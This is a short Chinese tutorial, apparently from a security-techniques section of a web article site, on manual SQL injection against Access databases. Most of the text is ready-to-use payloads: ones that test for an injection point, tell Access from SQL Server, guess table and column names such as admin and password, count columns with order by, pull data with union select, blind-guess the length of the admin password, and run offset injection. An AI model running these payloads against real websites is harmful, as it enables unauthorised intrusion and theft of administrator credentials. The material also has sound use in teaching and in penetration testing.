access數(shù)據(jù)庫的手工注入

發(fā)布時間：2020-07-02 16:24:28 來源：網(wǎng)絡(luò) 閱讀：1685 作者：珉學(xué) 欄目：安全技術(shù)

access數(shù)據(jù)庫

優(yōu)勢：提高速度和減少代碼量

缺點：數(shù)據(jù)過大性能下降，安全性低

后綴名：.mdb

打開工具：輔臣數(shù)據(jù)庫瀏覽器，破障瀏覽器

access注入

判斷注入點：‘ ，and 1=1, and1=2, or 1=1, or 1=2, and 1=23, 在id=后面加一個減號，報錯有注入點

判斷數(shù)據(jù)庫類型：and exists(select * from msysobjects)>0 存在說明是access數(shù)據(jù)庫 , and exists(select * from sysobjects)>0 存在說明是sql server數(shù)據(jù)庫

判斷數(shù)據(jù)庫中的表：and exists(select * from admin) 返回成功說明存在

access的數(shù)據(jù)庫中的表：admin，msysobjects，user，username，

判斷數(shù)據(jù)庫中表內(nèi)的字段名：and exists(select username from admin) 返回成功說明存在

判斷字段長度：order by N

報錯：and 1=2 union select 1,2,....,N from admin(聯(lián)合查詢)

判斷賬戶密碼長度：and (select len(admin) from admin)=5 如果返回正常說明管理賬戶的長度為5

and (select len(password) from admin)=5 猜解管理密碼長度是5

access數(shù)據(jù)庫的手工注入

偏移注入

主要用來解決表名猜到，列名猜不到的情況

and 1=2 union select 1,2,....,N from admin(聯(lián)合查詢)，用*從最后一個字段向前逐個代替，直到顯示正常為止，*代表所有數(shù)據(jù)表內(nèi)的字段

access數(shù)據(jù)庫的手工注入

向AI問一下細節(jié)

猜你喜歡